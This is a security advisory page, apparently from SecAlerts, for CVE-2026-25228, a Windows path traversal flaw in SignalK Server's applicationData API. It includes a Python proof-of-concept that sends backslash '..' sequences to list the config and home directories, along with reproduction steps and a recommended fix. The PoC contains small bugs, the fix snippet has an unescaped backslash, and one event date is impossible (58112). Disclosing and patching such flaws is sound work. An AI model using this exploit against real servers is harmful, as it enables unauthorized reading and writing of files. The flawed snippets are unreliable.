CVE-2026-25228: SignalK Server has Path Traversal leading to information disclosure

Published Feb 2, 2026
·
Updated

Summary A Path Traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory.

Details Platform: Windows (Linux only allows traversal up a single directory) Authentication Required: Yes (ability to write depends on user's permission)

The vulnerability exists in the validateAppId() function within the applicationData API handler. This function validates the appid parameter but only checks for forward slashes:

javascript // Simplified vulnerable code pattern function validateAppId(appid) { if (appid.includes('/') || appid.length >= 30) { return false; } return true; }

// Later used in path construction const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);

Root Cause: - The validation only blocks / characters - On Windows, path.join() uses the platform's native path separator - Windows treats both / and \ as valid directory separators - Backslash-based traversal sequences like ..\..\.. pass validation - When path.join() processes these on Windows, each .. traverses up one directory level

PoC python #!/usr/bin/env python3

import argparse import http.client import json import sys from urllib.parse import urlparse

PREFIX = "/signalk/v1/applicationData"

def rawget(base, path, token): """ GET using http.client so that '..' and backslashes in the URL are sent literally (requests/urllib would normalise them away). """ parsed = urlparse(base) host, port = parsed.hostname, parsed.port or 80 conn = http.client.HTTPConnection(host, port) conn.request("GET", path, headers={"Authorization": f"Bearer {token}"}) resp = conn.getresponse() status = resp.status body = resp.read().decode("utf-8", errors="replace") conn.close() return status, body

def main(): ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC") ap.addargument("--target", required=True, help="e.g. http://192.168.1.100:3000") ap.addargument("--token", required=True, help="any valid JWT token") args = ap.parseargs()

base = args.target.rstrip("/")

# On Windows, path.join(configPath, "applicationData", "users", id, appid) # resolves each '..' upward when separated by backslashes. # # Depth from base (configPath/applicationData/users/): # .. → applicationData/users/ (1 level) # ..\.. → applicationData/ (2 levels) # ..\..\.. → configPath (.signalk) (3 levels) # ..\..\..\.. → user home directory (4 levels)

traversals = [ ("..\\..\\..\\", ".signalk config directory"), ("..\\..\\..\\..\\", "user home directory"), ]

for appid, description in traversals: path = f"{PREFIX}/user/{appid}" status, body = rawget(base, path, token, args.token)

print(f"[{status}] {description}") print(f" GET {path}")

if status == 200: try: entries = json.loads(body) for entry in entries: print(f" {entry}") except json.JSONDecodeError: print(f" {body[:200]}") else: print(f" {body[:200]}") print()

if name == "main": main()

Reproduction Steps:

1. Set up SignalK Server on a Windows machine 2. Obtain a valid device or user authentication token 3. Run the PoC script: bash python3 pocwindowsappidtraversal.py --target http://[signalK server IP]:3000 --token <YOURTOKEN>

Recommended Fix

Short-term: 1. Add backslash validation to validateAppId(): javascript function validateAppId(appid) { if (appid.includes('/') || appid.includes('\') || appid.length >= 30) { return false; } return true; }

2. Use path.normalize() and validate that resolved paths remain within the intended directory: javascript const resolvedPath = path.normalize(path.join(baseDir, appid)); if (!resolvedPath.startsWith(path.normalize(baseDir))) { throw new Error('Invalid path'); }

Other sources

Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.20.3, a path traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory. This vulnerability is fixed in 2.20.3.

— MITRE

Affected Software

3 affected componentsFixes available
npm/signalk-server<=2.20.2
2.20.3
All of the following
SignalK Signal K Server<2.20.3
Microsoft Windows

Event History

Feb 2, 2026
Advisory Published
via GitHub·10:26 PM
Data Sourced
via GitHub·10:26 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·11:02 PM
Data Sourced
via MITRE·11:02 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 PM
RemedyAffected Software
May 15, 58112
Event
via FIRST·02:37 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-25228?

CVE-2026-25228 is classified as a high-severity vulnerability due to its potential for information disclosure.

2

How do I fix CVE-2026-25228?

To mitigate CVE-2026-25228, upgrade to SignalK Server version 2.20.3 or later.

3

What is the impact of CVE-2026-25228 on affected systems?

CVE-2026-25228 can allow authenticated users to read, write, and list arbitrary files on Windows systems.

4

What versions of SignalK Server are affected by CVE-2026-25228?

SignalK Server versions up to and including 2.20.2 are vulnerable to CVE-2026-25228.

5

Who is at risk from CVE-2026-25228?

Authenticated users on Windows systems running vulnerable versions of SignalK Server are at risk from CVE-2026-25228.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203